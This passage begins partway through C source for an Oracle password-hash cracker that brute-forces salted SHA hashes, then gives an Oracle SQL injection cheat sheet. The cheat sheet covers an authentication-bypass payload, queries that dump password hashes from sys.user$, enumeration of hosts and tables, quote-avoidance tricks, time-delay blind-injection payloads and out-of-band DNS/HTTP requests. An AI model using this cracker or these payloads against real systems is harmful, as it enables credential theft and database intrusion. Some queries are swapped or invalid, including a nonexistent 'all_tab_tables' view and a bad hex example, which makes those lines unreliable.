                while(count < len)
                          {
                                    uwttf[cnt]=wttf[count];
                                    cnt++;
                                    uwttf[cnt]=0x00;
                                    count++;
                                    cnt++;
                          }
                len --;
                wp = &uwttf;
                sscanf(pkey,"%x",&key);
                cnt = cnt - 2;
                // Append the random stuff to the end of
                // the uppercase unicode password
                t = key >> 24;
                x = (unsigned char) t;
                uwttf[cnt]=x;
                cnt++;
                t = key << 8;
                t = t >> 24;
              x = (unsigned char) t;
              uwttf[cnt]=x;
              cnt++;
              t = key << 16;
              t = t >> 24;
              x = (unsigned char) t;
              uwttf[cnt]=x;
              cnt++;
              t = key << 24;
              t = t >> 24;
              x = (unsigned char) t;
              uwttf[cnt]=x;
              cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
              {
                        printf("Error %x during CryptCreatHash!\n", GetLastError());
                        return 0;
              }
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
              {
                        printf("Error %x during CryptHashData!\n", GetLastError());
                        return FALSE;
              }
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
              {
                        // If first byte matches try the rest
                        ptr = pucase;
                        cnt = 1;
                        while(cnt < 20)
                        {
                                    ptr = ptr + 2;
                                    strncpy(pucfirst,ptr,2);
                                    sscanf(pucfirst,"%x",&cmp);
                                    if(szhash[cnt]==cmp)
                                              cnt ++;
                                    else
                                    {
                                              break;
                                    }
                        }
                        if(cnt == 20)
```

```
                        {
                             // We've found the password
                             printf("\nA MATCH!!! Password is %s\n",wttf);
                             return 0;
                           }
                    }
                    count = 0;
                    cnt=0;
                  }
  return 0;
}
```

Oracle

Default Databases

`SYSTEM`	Available in all versions
`SYSAUX`	Available in all versions

Comment Out Query

The following can be used to comment out the rest of the query after your injection:

`--`	SQL comment

Example:

```
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
```

Testing Version

`SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';`
`SELECT banner FROM v$version WHERE banner LIKE 'TNS%';`
`SELECT version FROM v$instance;`

Notes:

> *All SELECT statements in Oracle must contain a table.*
> *`dual` is a dummy table which can be used for testing.*

Database Credentials

`SELECT username FROM all_users;`	`Available on all versions`
`SELECT name, password from sys.user$;`	`Privileged, <= 10g`

`SELECT name, spare4 from sys.user$;`	`Privileged, <= 11g`

Database Names

Current Database

`SELECT name FROM v$database;`
`SELECT instance_name FROM v$instance`
`SELECT global_name FROM global_name`
`SELECT SYS.DATABASE_NAME FROM DUAL`

User Databases

`SELECT DISTINCT owner FROM all_tables;`

Server Hostname

`SELECT host_name FROM v$instance; (Privileged)`
`SELECT UTL_INADDR.get_host_name FROM dual;`
`SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;`
`SELECT UTL_INADDR.get_host_address FROM dual;`

Tables and Columns

Retrieving Tables

`SELECT table_name FROM all_tables;`

Retrieving Columns

`SELECT column_name FROM all_tab_columns;`

Find Tables from Column Name

`SELECT column_name FROM all_tab_columns WHERE table_name = 'Users';`

Find Columns From Table Name

`SELECT table_name FROM all_tab_tables WHERE column_name = 'password';`

Retrieving Multiple Tables at once

```
SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//te
xt()') ,',') FROM all_tables;
```

Avoiding the use of quotations

Unlike other RDBMS, Oracle allows table/column names to be encoded.

`SELECT 0x09120911091 FROM dual;`	Hex Encoding.
`SELECT CHR(32)||CHR(92)||CHR(93) FROM dual;`	CHR() Function.

String Concatenation

```
SELECT 'a'||'d'||'mi'||'n' FROM dual;
```

Conditional Statements

```
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual
```

Timing

Time Delay

```
SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual;
```

Heavy Time Delays

```
AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_u
sers t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1
,1));
```

Privileges

```
SELECT privilege FROM session_privs;
```

```
SELECT grantee, granted_role FROM dba_role_privs; (Privileged)
```

Out Of Band Channeling

DNS Requests

```
SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual;
```

```
SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual;
```